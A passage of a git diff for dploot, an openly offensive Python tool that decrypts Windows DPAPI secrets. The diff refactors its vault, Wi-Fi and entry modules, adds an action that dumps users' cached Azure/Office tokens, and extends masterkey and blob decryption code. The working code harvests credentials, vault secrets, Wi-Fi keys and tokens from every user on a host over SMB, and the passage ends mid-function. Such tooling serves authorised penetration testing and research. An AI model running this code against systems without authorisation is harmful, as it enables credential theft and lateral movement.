) + help=("Dump also certificates not used for client authentication"), ) add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/action/vaults.py b/dploot/action/vaults.py index eb67218..29a3c18 100755 --- a/dploot/action/vaults.py +++ b/dploot/action/vaults.py @@ -1,24 +1,26 @@ import argparse import logging -import os import sys from typing import Callable, Tuple -from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options +from dploot.action.masterkeys import ( + add_masterkeys_argument_group, + parse_masterkeys_options, +) from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group -from dploot.lib.utils import handle_outputdir_option +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file from dploot.triage.vaults import VaultsTriage -NAME = 'vaults' +NAME = "vaults" -class VaultsAction: +class VaultsAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options self.target = Target.from_options(options) - + self.conn = None self._is_admin = None self.outputdir = None @@ -27,7 +29,7 @@ def __init__(self, options: argparse.Namespace) -> None: self.passwords = None self.nthashes = None - self.outputdir = handle_outputdir_option(dir= self.options.export_vpol) + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) if self.options.mkfile is not None: try: @@ -36,7 +38,9 @@ def __init__(self, options: argparse.Namespace) -> None: logging.error(str(e)) sys.exit(1) - self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target) + self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options( + self.options, self.target + ) def connect(self) -> None: self.conn = DPLootSMBConnection(self.target) @@ -46,29 +50,52 @@ def connect(self) -> None: def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) if self.is_admin: if self.masterkeys is None: - masterkeytriage = MasterkeysTriage(target=self.target, conn=self.conn, pvkbytes=self.pvkbytes, nthashes=self.nthashes, passwords=self.passwords) + + def masterkey_triage(masterkey): + masterkey.dump() + + masterkeytriage = MasterkeysTriage( + target=self.target, + conn=self.conn, + pvkbytes=self.pvkbytes, + nthashes=self.nthashes, + passwords=self.passwords, + per_masterkey_callback=masterkey_triage + if not self.options.quiet + else None, + ) logging.info("Triage ALL USERS masterkeys\n") self.masterkeys = masterkeytriage.triage_masterkeys() - if not self.options.quiet: - for masterkey in self.masterkeys: - masterkey.dump() - print() - - triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage Vaults for ALL USERS\n') - vaults = triage.triage_vaults() - for vault in vaults: + print() + if self.outputdir is not None: + dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files) + + def secret_callback(vault): if self.options.quiet: vault.dump_quiet() - else: + else: vault.dump() + + triage = VaultsTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_vault_callback=secret_callback, + ) + logging.info("Triage Vaults for ALL USERS\n") + triage.triage_vaults() if self.outputdir is not None: - for filename, bytes in triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) + dump_looted_files_to_disk(self.outputdir, triage.looted_files) else: logging.info("Not an admin, exiting...") @@ -80,35 +107,26 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = VaultsAction(options) a.run() -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Dump users Vaults blob from remote target") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, help="Dump users Vaults blob from local or remote target" + ) group = subparser.add_argument_group("vaults options") group.add_argument( "-mkfile", action="store", - help=( - "File containing {GUID}:SHA1 masterkeys mappings" - ), + help=("File containing {GUID}:SHA1 masterkeys mappings"), ) add_masterkeys_argument_group(group) - - group.add_argument( - "-export-vpol", - action="store", - metavar="DIR_VPOL", - help=( - "Dump looted Vaults blob to specified directory, regardless they were decrypted" - ) - ) - add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/action/wam.py b/dploot/action/wam.py new file mode 100644 index 0000000..b4bb992 --- /dev/null +++ b/dploot/action/wam.py @@ -0,0 +1,133 @@ +import argparse +import logging +import sys +from typing import Callable, Tuple +from dploot.action.masterkeys import ( + add_masterkeys_argument_group, + parse_masterkeys_options, +) + +from dploot.lib.smb import DPLootSMBConnection +from dploot.lib.target import Target, add_target_argument_group +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option +from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file +from dploot.triage.wam import WamTriage + +NAME = "wam" + + +class WamAction: + def __init__(self, options: argparse.Namespace) -> None: + self.options = options + self.target = Target.from_options(options) + + self.conn = None + self._is_admin = None + self.outputdir = None + self.masterkeys = None + self.pvkbytes = None + self.passwords = None + self.nthashes = None + + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) + + if self.options.mkfile is not None: + try: + self.masterkeys = parse_masterkey_file(self.options.mkfile) + except Exception as e: + logging.error(str(e)) + sys.exit(1) + + self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options( + self.options, self.target + ) + + def connect(self) -> None: + self.conn = DPLootSMBConnection(self.target) + if self.conn.connect() is None: + logging.error("Could not connect to %s" % self.target.address) + sys.exit(1) + + def run(self) -> None: + self.connect() + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) + if self.is_admin: + if self.masterkeys is None: + + def masterkey_triage(masterkey): + masterkey.dump() + + masterkeytriage = MasterkeysTriage( + target=self.target, + conn=self.conn, + pvkbytes=self.pvkbytes, + nthashes=self.nthashes, + passwords=self.passwords, + per_masterkey_callback=masterkey_triage + if not self.options.quiet + else None, + ) + logging.info("Triage ALL USERS masterkeys\n") + self.masterkeys = masterkeytriage.triage_masterkeys() + print() + if self.outputdir is not None: + dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files) + + def token_callback(token): + if self.options.quiet: + token.dump_quiet() + else: + token.dump() + + triage = WamTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_token_callback=token_callback, + ) + logging.info("Triage Office Token Broker Cache for ALL USERS\n") + triage.triage_wam() + if self.outputdir is not None: + dump_looted_files_to_disk(self.outputdir, triage.looted_files) + else: + logging.info("Not an admin, exiting...") + + @property + def is_admin(self) -> bool: + if self._is_admin is not None: + return self._is_admin + + self._is_admin = self.conn.is_admin() + return self._is_admin + + +def entry(options: argparse.Namespace) -> None: + a = WamAction(options) + a.run() + + +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, + help="Dump users cached azure tokens from local or remote target", + ) + + group = subparser.add_argument_group("credentials options") + + group.add_argument( + "-mkfile", + action="store", + help=("File containing {GUID}:SHA1 masterkeys mappings"), + ) + + add_masterkeys_argument_group(group) + add_target_argument_group(subparser) + + return NAME, entry diff --git a/dploot/action/wifi.py b/dploot/action/wifi.py index 3c4939b..c1c69e0 100755 --- a/dploot/action/wifi.py +++ b/dploot/action/wifi.py @@ -1,20 +1,20 @@ import argparse import logging -import os import sys from typing import Callable, Tuple from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group -from dploot.lib.utils import handle_outputdir_option +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option +from dploot.action.masterkeys import parse_masterkeys_options from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file from dploot.triage.wifi import WifiTriage -NAME = 'wifi' +NAME = "wifi" -class WifiAction: +class WifiAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options @@ -24,11 +24,12 @@ def __init__(self, options: argparse.Namespace) -> None: self._is_admin = None self.masterkeys = None self.outputdir = None - self.pvkbytes = None - self.passwords = None - self.nthashes = None - self.outputdir = handle_outputdir_option(dir= self.options.export_wifi) + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) + + self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options( + self.options, self.target + ) if self.options.mkfile is not None: try: @@ -42,33 +43,59 @@ def connect(self) -> None: if self.conn.connect() is None: logging.error("Could not connect to %s" % self.target.address) sys.exit(1) - + def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) if self.is_admin: if self.masterkeys is None: - triage = MasterkeysTriage(target=self.target, conn=self.conn) + + def masterkey_triage(masterkey): + masterkey.dump() + + masterkeytriage = MasterkeysTriage( + target=self.target, + conn=self.conn, + pvkbytes=self.pvkbytes, + nthashes=self.nthashes, + passwords=self.passwords, + per_masterkey_callback=masterkey_triage + if not self.options.quiet + else None, + ) logging.info("Triage SYSTEM masterkeys\n") - self.masterkeys = triage.triage_system_masterkeys() - if not self.options.quiet: - for masterkey in self.masterkeys: - masterkey.dump() - print() - - wifi_triage = WifiTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage ALL WIFI profiles\n') - wifi_creds = wifi_triage.triage_wifi() - for wifi_cred in wifi_creds: + self.masterkeys = masterkeytriage.triage_system_masterkeys() + # we need user masterkeys, too. + logging.info("Triage ALL USERS masterkeys\n") + self.masterkeys.extend(masterkeytriage.triage_masterkeys()) + print() + if self.outputdir is not None: + dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files) + + def profile_callback(profile): if self.options.quiet: - wifi_cred.dump_quiet() + profile.dump_quiet() else: - wifi_cred.dump() + profile.dump() + + wifi_triage = WifiTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_profile_callback=profile_callback, + ) + logging.info("Triage ALL WIFI profiles\n") + wifi_triage.triage_wifi() if self.outputdir is not None: - for filename, bytes in wifi_triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) - + dump_looted_files_to_disk(self.outputdir, wifi_triage.looted_files) + else: logging.info("Not an admin, exiting...") @@ -80,41 +107,31 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = WifiAction(options) a.run() -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Dump wifi profiles from remote target") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, help="Dump wifi profiles from local or remote target" + ) group = subparser.add_argument_group("wifi options") group.add_argument( "-mkfile", action="store", - help=( - "File containing {GUID}:SHA1 masterkeys mappings" - ), + help=("File containing {GUID}:SHA1 masterkeys mappings"), ) group.add_argument( "-outputfile", action="store", - help=( - "Export keys to file" - ), - ) - - group.add_argument( - "-export-wifi", - action="store", - metavar="DIR_CREDMAN", - help=( - "Dump looted Wifi Profile xml files to specified directory, regardless they were decrypted" - ) + help=("Export keys to file"), ) add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/entry.py b/dploot/entry.py index a85ca0f..afc3973 100755 --- a/dploot/entry.py +++ b/dploot/entry.py @@ -7,56 +7,60 @@ from impacket.examples import logger from dploot.action import ( + backupkey, + blob, + browser, certificates, credentials, + machinecertificates, + machinecredentials, + machinemasterkeys, + machinetriage, + machinevaults, masterkeys, - vaults, - backupkey, + mobaxterm, rdg, sccm, triage, - machinemasterkeys, - machinecredentials, - machinevaults, - machinecertificates, - machinetriage, - browser, + vaults, + wam, wifi, - mobaxterm, - ) - +) ENTRY_PARSERS = [ + backupkey, + blob, + browser, certificates, credentials, + machinecertificates, + machinecredentials, + machinemasterkeys, + machinetriage, + machinevaults, masterkeys, - vaults, - backupkey, + mobaxterm, rdg, sccm, triage, - machinemasterkeys, - machinecredentials, - machinevaults, - machinecertificates, - machinetriage, - browser, + vaults, + wam, wifi, - mobaxterm, ] + def main() -> None: logger.init() version = importlib.metadata.version("dploot") - parser = argparse.ArgumentParser(description=f"DPAPI looting remotely in Python.\nVersion {version}", add_help=True) - - parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON") - - parser.add_argument("-quiet", action="store_true", help="Only output dumped credentials") + print(f"dploot (https://github.com/zblurx/dploot) v{version} by @_zblurx") + parser = argparse.ArgumentParser( + description="DPAPI looting locally remotely in Python", + add_help=True, + ) subparsers = parser.add_subparsers(help="Action", dest="action", required=True) - actions = dict() + actions = {} for entry_parser in ENTRY_PARSERS: action, entry = entry_parser.add_subparser(subparsers) @@ -75,6 +79,7 @@ def main() -> None: else: logging.getLogger().setLevel(logging.INFO) + logging.debug(f"{options=}") try: actions[options.action](options) except Exception as e: diff --git a/dploot/lib/crypto.py b/dploot/lib/crypto.py index cc4f669..89c0052 100755 --- a/dploot/lib/crypto.py +++ b/dploot/lib/crypto.py @@ -7,262 +7,308 @@ from impacket.dpapi import DPAPI_BLOB from impacket.structure import Structure + # https://blog.nviso.eu/2019/08/28/extracting-certificates-from-the-windows-registry/ # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gpef/e051aba9-c9df-4f82-a42a-c13012c9d381 # WARNING: CRAPPY STRUCT INCOMING class CERTBLOB_PROPERTY(Structure): structure = ( - ('PropertyID', ' 0: attr = CERTBLOB_PROPERTY(remaining) self.attributes.append(attr) if attr["PropertyID"] == 32: self.der = attr["Value"] - remaining = remaining[len(attr):] + remaining = remaining[len(attr) :] def dump(self): - print('[CERTBLOB]') + print("[CERTBLOB]") for attr in self.attributes: - print("%s:\t\t%s" % (attr['PropertyID'],attr['Value'])) + print("{}:\t\t{}".format(attr["PropertyID"], attr["Value"])) if self.der is not None: - print('') + print() print("DER : %s " % (self.der)) + # https://github.com/SecureAuthCorp/impacket/pull/1120 -# Private Decrypted Private Key +# Private Decrypted Private Key class PRIVATE_KEY_RSA(Structure): structure = ( - ('magic', ' Any: - if domain_backupkey is None and password is None and nthash is None and dpapi_systemkey is None: + +def decrypt_masterkey( + masterkey: bytes, + domain_backupkey: Optional[bytes] = None, + dpapi_systemkey: Optional[Dict] = None, + sid: str = "", + password: Optional[str] = None, + nthash: Optional[str] = None, +) -> Any: + if ( + domain_backupkey is None + and password is None + and nthash is None + and dpapi_systemkey is None + ): return None data = masterkey mkf = MasterKeyFile(data) dk = mk = bkmk = None - data = data[len(mkf):] - if mkf['MasterKeyLen'] > 0: - mk = MasterKey(data[:mkf['MasterKeyLen']]) - data = data[len(mk):] + data = data[len(mkf) :] + if mkf["MasterKeyLen"] > 0: + mk = MasterKey(data[: mkf["MasterKeyLen"]]) + data = data[len(mk) :] - if mkf['BackupKeyLen'] > 0: - bkmk = MasterKey(data[:mkf['BackupKeyLen']]) - data = data[len(bkmk):] + if mkf["BackupKeyLen"] > 0: + bkmk = MasterKey(data[: mkf["BackupKeyLen"]]) + data = data[len(bkmk) :] - if mkf['DomainKeyLen'] > 0: - dk = DomainKey(data[:mkf['DomainKeyLen']]) - data = data[len(dk):] + if mkf["DomainKeyLen"] > 0: + dk = DomainKey(data[: mkf["DomainKeyLen"]]) + data = data[len(dk) :] if domain_backupkey is not None and dk is not None: - key = PRIVATE_KEY_BLOB(domain_backupkey[len(PVK_FILE_HDR()):]) + key = PRIVATE_KEY_BLOB(domain_backupkey[len(PVK_FILE_HDR()) :]) private = privatekeyblob_to_pkcs1(key) cipher = PKCS1_v1_5.new(private) - - decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None) + + decryptedKey = cipher.decrypt(dk["SecretData"][::-1], None) if decryptedKey: domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(decryptedKey) - key = domain_master_key['buffer'][:domain_master_key['cbMasterKey']] - return key + return domain_master_key["buffer"][: domain_master_key["cbMasterKey"]] - if sid != '': + if sid != "": if nthash is not None: nthash = unhexlify(nthash) key1, key2 = deriveKeysFromUserkey(sid, nthash) decryptedKey = mk.decrypt(key2) or mk.decrypt(key1) if decryptedKey: return decryptedKey - # decryptedKey = bkmk.decrypt(key2) - # if decryptedKey: - # return decryptedKey - # decryptedKey = bkmk.decrypt(key1) - # if decryptedKey: - # return decryptedKey - + if password is not None: key1, key2, key3 = deriveKeysFromUser(sid, password) - decryptedKey = ( - mk.decrypt(key3) - or mk.decrypt(key2) - or mk.decrypt(key1) - ) + decryptedKey = mk.decrypt(key3) or mk.decrypt(key2) or mk.decrypt(key1) if decryptedKey: return decryptedKey - # decryptedKey = bkmk.decrypt(key3) - # if decryptedKey: - # return decryptedKey - # decryptedKey = bkmk.decrypt(key2) - # if decryptedKey: - # return decryptedKey - # decryptedKey = bkmk.decrypt(key1) - # if decryptedKey: - # return decryptedKey if dpapi_systemkey is not None: - decryptedKey = ( - mk.decrypt(dpapi_systemkey['UserKey']) - or mk.decrypt(dpapi_systemkey['MachineKey']) - or bkmk.decrypt(dpapi_systemkey['UserKey']) - or bkmk.decrypt(dpapi_systemkey['MachineKey']) + mk.decrypt(dpapi_systemkey["UserKey"]) + or mk.decrypt(dpapi_systemkey["MachineKey"]) + or bkmk.decrypt(dpapi_systemkey["UserKey"]) + or bkmk.decrypt(dpapi_systemkey["MachineKey"]) ) if decryptedKey: return decryptedKey - if sid != '': - test = dpapi_systemkey['UserKey'] + if sid != "": + test = dpapi_systemkey["UserKey"] key1, key2 = deriveKeysFromUserkey(sid, test) if key2 is not None: decryptedKey = mk.decrypt(key2) if decryptedKey: return decryptedKey - + decryptedKey = mk.decrypt(key1) if decryptedKey: return decryptedKey - + if key2 is not None: decryptedKey = bkmk.decrypt(key2) if decryptedKey: @@ -110,54 +124,57 @@ def decrypt_masterkey(masterkey:bytes, domain_backupkey:bytes= None, dpapi_syste return decryptedKey return None -def decrypt_credential(credential_bytes:bytes, masterkey:MasterKey) -> Any: + +def decrypt_credential(credential_bytes: bytes, masterkey: MasterKey) -> Any: cred = CredentialFile(credential_bytes) - decrypted = decrypt_blob(cred['Data'], masterkey) + decrypted = decrypt_blob(cred["Data"], masterkey) if decrypted: - creds = CREDENTIAL_BLOB(decrypted) - return creds + return CREDENTIAL_BLOB(decrypted) return None -def find_masterkey_for_credential_blob(credential_bytes:bytes, masterkeys: Any) -> "Any | None": + +def find_masterkey_for_credential_blob( + credential_bytes: bytes, masterkeys: Any +) -> "Any | None": cred = CredentialFile(credential_bytes) - return find_masterkey_for_blob(cred['Data'], masterkeys=masterkeys) + return find_masterkey_for_blob(cred["Data"], masterkeys=masterkeys) + -def decrypt_privatekey(privatekey_bytes:bytes, masterkey:Any, cng: bool = False) -> RSA.RsaKey: +def decrypt_privatekey( + privatekey_bytes: bytes, masterkey: Any, cng: bool = False +) -> RSA.RsaKey: blob = PVKHeader(privatekey_bytes) - if blob['SigHeadLen'] > 0: - blob = PVKFile_SIG(privatekey_bytes) - else: - blob = PVKFile(privatekey_bytes) + blob = PVKFile_SIG(privatekey_bytes) if blob["SigHeadLen"] > 0 else PVKFile(privatekey_bytes) key = unhexlify(masterkey.sha1) - decrypted = decrypt(blob['Blob'], key) + decrypted = decrypt(blob["Blob"], key) rsa_temp = PRIVATE_KEY_RSA(decrypted) - pkcs1 = pvkblob_to_pkcs1(rsa_temp) - return pkcs1 + return pvkblob_to_pkcs1(rsa_temp) -def find_masterkey_for_privatekey_blob(privatekey_bytes:bytes, masterkeys: List[Any], cng: bool = False) -> "Any | None": - blob= PVKHeader(privatekey_bytes) - if len(blob['Remaining']) == 0: + +def find_masterkey_for_privatekey_blob( + privatekey_bytes: bytes, masterkeys: List[Any], cng: bool = False +) -> "Any | None": + blob = PVKHeader(privatekey_bytes) + if len(blob["Remaining"]) == 0: return None - if blob['SigHeadLen'] > 0: - blob=PVKFile_SIG(privatekey_bytes) - else: - blob=PVKFile(privatekey_bytes) - - masterkey = bin_to_string(blob['Blob']['GuidMasterKey']) + blob = PVKFile_SIG(privatekey_bytes) if blob["SigHeadLen"] > 0 else PVKFile(privatekey_bytes) + + masterkey = bin_to_string(blob["Blob"]["GuidMasterKey"]) return find_masterkey(masterkey=masterkey, masterkeys=masterkeys) -def decrypt_vpol(vpol_bytes:bytes, masterkey:Any) -> "VAULT_VPOL_KEYS | None": + +def decrypt_vpol(vpol_bytes: bytes, masterkey: Any) -> "VAULT_VPOL_KEYS | None": vpol = VAULT_VPOL(vpol_bytes) - blob = vpol['Blob'] + blob = vpol["Blob"] key = unhexlify(masterkey.sha1) decrypted = decrypt(blob, key) if decrypted: - vpol_decrypted = VAULT_VPOL_KEYS(decrypted) - return vpol_decrypted + return VAULT_VPOL_KEYS(decrypted) return None - -def decrypt_vcrd(vcrd_bytes:bytes, vpol_keys:List[bytes]) -> Any: + + +def decrypt_vcrd(vcrd_bytes: bytes, vpol_keys: List[bytes]) -> Any: blob = VAULT_VCRD(vcrd_bytes) for key in vpol_keys: @@ -167,52 +184,62 @@ def decrypt_vcrd(vcrd_bytes:bytes, vpol_keys:List[bytes]) -> Any: try: if entry > 28: attribute = blob.attributes[i] - if 'IV' in attribute.fields and len(attribute['IV']) == 16: - cipher = AES.new(key, AES.MODE_CBC, iv=attribute['IV']) - else: - cipher = AES.new(key, AES.MODE_CBC) - cleartext = cipher.decrypt(attribute['Data']) + cipher = AES.new(key, AES.MODE_CBC, iv=attribute["IV"]) if "IV" in attribute.fields and len(attribute["IV"]) == 16 else AES.new(key, AES.MODE_CBC) + cleartext = cipher.decrypt(attribute["Data"]) if cleartext is not None: # Lookup schema Friendly Name and print if we find one - if blob['FriendlyName'].decode('utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS: + if ( + blob["FriendlyName"].decode("utf-16le")[:-1] + in VAULT_KNOWN_SCHEMAS + ): # Found one. Cast it and print - vault = VAULT_KNOWN_SCHEMAS[blob['FriendlyName'].decode('utf-16le')[:-1]](cleartext) - return vault + return VAULT_KNOWN_SCHEMAS[ + blob["FriendlyName"].decode("utf-16le")[:-1] + ](cleartext) else: # otherwise return cleartext except Exception as e: - if str(e) != '(\'unpack requires a buffer of 4 bytes\', "When unpacking field \'Id2 | "Any | None": + +def find_masterkey_for_vpol_blob(vault_bytes: bytes, masterkeys: Any) -> "Any | None": vault = VAULT_VPOL(vault_bytes) - blob = vault['Blob'] - masterkey = bin_to_string(blob['GuidMasterKey']) + blob = vault["Blob"] + masterkey = bin_to_string(blob["GuidMasterKey"]) return find_masterkey(masterkey=masterkey, masterkeys=masterkeys) -def decrypt_blob(blob_bytes:bytes, masterkey:Any, entropy = None) -> Any: + +def decrypt_blob(blob_bytes: bytes, masterkey: Any, entropy=None) -> "bytes | None": blob = DPAPI_BLOB(blob_bytes) + # Ugly fix below: + # if blob_bytes was too long, strip blob.rawData so its len matches len(blob) + if len(blob.rawData) > len(blob): + logging.debug( + f"{__name__}.decrypt_blob(): rawData too long. Stripping {len(blob.rawData) - len(blob)} bytes." + ) + blob.rawData = blob.rawData[0 : len(blob)] key = unhexlify(masterkey.sha1) - decrypted = None - if entropy is not None: - decrypted = decrypt(blob, key, entropy=entropy) - else: - decrypted = decrypt(blob, key) - return decrypted + return decrypt(blob, key, entropy=entropy) if entropy is not None else decrypt(blob, key) + -def decrypt(blob, keyHash, entropy = None) -> "bytes | None": - hash_algo = ALGORITHMS_DATA[blob['HashAlgo']][1] +def decrypt(blob: DPAPI_BLOB, keyHash, entropy=None) -> "bytes | None": + hash_algo = ALGORITHMS_DATA[blob["HashAlgo"]][1] block_size = hash_algo.block_size for algo in [compute_sessionKey_1, compute_sessionKey_2]: - sessionKey = algo(keyHash, blob['Salt'], hash_algo, block_size, entropy) + sessionKey = algo(keyHash, blob["Salt"], hash_algo, block_size, entropy) sessionKey = sessionKey.digest() - derivedKey = blob.deriveKey(sessionKey) - crypto = ALGORITHMS_DATA[blob['CryptAlgo']] - cipher = crypto[1].new(derivedKey[:crypto[0]], mode=crypto[2], iv=b'\x00'*crypto[3]) - cleartext = cipher.decrypt(blob['Data']) + derivedKey = blob.deriveKey(sessionKey) + crypto = ALGORITHMS_DATA[blob["CryptAlgo"]] + cipher = crypto[1].new( + derivedKey[: crypto[0]], mode=crypto[2], iv=b"\x00" * crypto[3] + ) + cleartext = cipher.decrypt(blob["Data"]) try: cleartext = unpad(cleartext, crypto[1].block_size) except ValueError as e: @@ -220,17 +247,28 @@ def decrypt(blob, keyHash, entropy = None) -> "bytes | None": pass # Now check the signature # ToDo Fix this, it's just ugly, more testing so we can remove one - toSign = (blob.rawData[20:][:len(blob.rawData)-20-len(blob['Sign'])-4]) - hmac_calculated = algo(keyHash, blob['HMac'], hash_algo, block_size, entropy) + toSign = blob.rawData[20 : len(blob) - len(blob["Sign"]) - 4] + if toSign[-4:] != blob["Data"][-4:]: + logging.debug(f"{__name__}.decrypt(): toSign is wrong!") + logging.debug("toSign : %s" % (hexlify(toSign))) + logging.debug( + "Sign (%2d) : %s" % (len(blob["Sign"]), hexlify(blob["Sign"])) + ) + + hmac_calculated = algo(keyHash, blob["HMac"], hash_algo, block_size, entropy) hmac_calculated.update(toSign) - if blob['Sign'] == hmac_calculated.digest(): + if blob["Sign"] == hmac_calculated.digest(): return cleartext + return None -def compute_sessionKey_1(key_hash: bytes, salt: bytes, hash_algo: object, block_size: int, entropy: bytes): - pad_block = key_hash.ljust(block_size, b'\x00') + +def compute_sessionKey_1( + key_hash: bytes, salt: bytes, hash_algo: object, block_size: int, entropy: bytes +): + pad_block = key_hash.ljust(block_size, b"\x00") ipad = bytearray(i ^ 0x36 for i in pad_block) - opad = bytearray(i ^ 0x5c for i in pad_block) + opad = bytearray(i ^ 0x5C for i in pad_block) a = hash_algo.new(ipad) a.update(salt) @@ -242,18 +280,23 @@ def compute_sessionKey_1(key_hash: bytes, salt: bytes, hash_algo: object, block_ computed_key.update(entropy) return computed_key -def compute_sessionKey_2(key_hash: bytes, salt: bytes, hash_algo: object, block_size: int, entropy: bytes): + +def compute_sessionKey_2( + key_hash: bytes, salt: bytes, hash_algo: object, block_size: int, entropy: bytes +): computed_key = HMAC.new(key_hash, salt, hash_algo) if entropy is not None: computed_key.update(entropy) - + return computed_key -def find_masterkey_for_blob(blob_bytes:bytes, masterkeys: Any) -> "Any | None": + +def find_masterkey_for_blob(blob_bytes: bytes, masterkeys: Any) -> "Any | None": blob = DPAPI_BLOB(blob_bytes) - masterkey = bin_to_string(blob['GuidMasterKey']) + masterkey = bin_to_string(blob["GuidMasterKey"]) return find_masterkey(masterkey=masterkey, masterkeys=masterkeys) + def find_masterkey(masterkey: str, masterkeys: Any) -> "Any | None": masterkey = masterkey.lower() return next((key for key in masterkeys if key.guid.lower() == masterkey), None) diff --git a/dploot/lib/smb.py b/dploot/lib/smb.py index 87af1ea..28bd342 100755 --- a/dploot/lib/smb.py +++ b/dploot/lib/smb.py @@ -1,61 +1,131 @@ -import socket import ntpath +import os import logging import time -from typing import Any, Dict, List +from typing import Any, Dict, List, Optional from dploot.lib.target import Target from impacket.smbconnection import SMBConnection +from impacket.winregistry import Registry +from impacket.smb import ATTR_DIRECTORY from impacket.smb import SMB_DIALECT +from impacket.smb import SharedFile from impacket.nmb import NetBIOSTimeout -from impacket.examples.secretsdump import RemoteOperations -from impacket.smb3structs import FILE_READ_DATA, FILE_OPEN, FILE_NON_DIRECTORY_FILE, FILE_SHARE_READ +from impacket.dcerpc.v5 import tsts +from impacket.examples.secretsdump import RemoteOperations, LocalOperations +from impacket.smb3structs import ( + FILE_READ_DATA, + FILE_OPEN, + FILE_NON_DIRECTORY_FILE, + FILE_SHARE_READ, +) from dploot.lib.wmi import DPLootWmiExec + class DPLootSMBConnection: + + false_positive = [ + ".", + "..", + "desktop.ini", + "Public", + "Default", + "Default User", + "All Users", + ] + + # if called with target = LOCAL, return an instance of DPLootLocalSMConnection, + # else return an instance of DPLootRemoteSMBConnection + def __new__( + cls, target=None + ) -> "DPLootRemoteSMBConnection | DPLootLocalSMBConnection": + if ( + target is not None + and target.address.upper() == "LOCAL" + and cls.__name__ != DPLootLocalSMBConnection.__name__ + ): + return DPLootLocalSMBConnection.__new__(DPLootLocalSMBConnection, target) + elif cls.__name__ == DPLootSMBConnection.__name__: + return DPLootRemoteSMBConnection.__new__(DPLootRemoteSMBConnection, target) + else: + # we end up here when a child class is instantiated. + return super().__new__(cls) + def __init__(self, target: Target) -> None: self.target = target + self.remote_ops = None + self.local_session = None + + self._usersProfiles = None + + def listDirs(self, share: str, dirlist: List[str]) -> Dict[str, Any]: + result = {} + for path in dirlist: + tmp = self.remote_list_dir(share, path=path) + result[path] = tmp + return result + +class DPLootRemoteSMBConnection(DPLootSMBConnection): + def __init__(self, target: Target) -> None: + super().__init__(target) self.smb_session = None - self.remote_ops = None self.smbv1 = False - def create_smbv1_conn(self, kdc=''): + def create_smbv1_conn(self, kdc=""): try: - self.smb_session = SMBConnection(self.target.address if not kdc else kdc, self.target.address if not kdc else kdc, None, preferredDialect=SMB_DIALECT) + self.smb_session = SMBConnection( + kdc if kdc else self.target.address, + kdc if kdc else self.target.address, + None, + preferredDialect=SMB_DIALECT, + ) self.smbv1 = True - except socket.error as e: - if str(e).find('Connection reset by peer') != -1: - logging.debug('SMBv1 might be disabled on {}'.format(self.target.address if not kdc else kdc)) + except OSError as e: + if str(e).find("Connection reset by peer") != -1: + logging.debug( + f"SMBv1 might be disabled on {kdc if kdc else self.target.address}" + ) return False except (Exception, NetBIOSTimeout) as e: - logging.debug('Error creating SMBv1 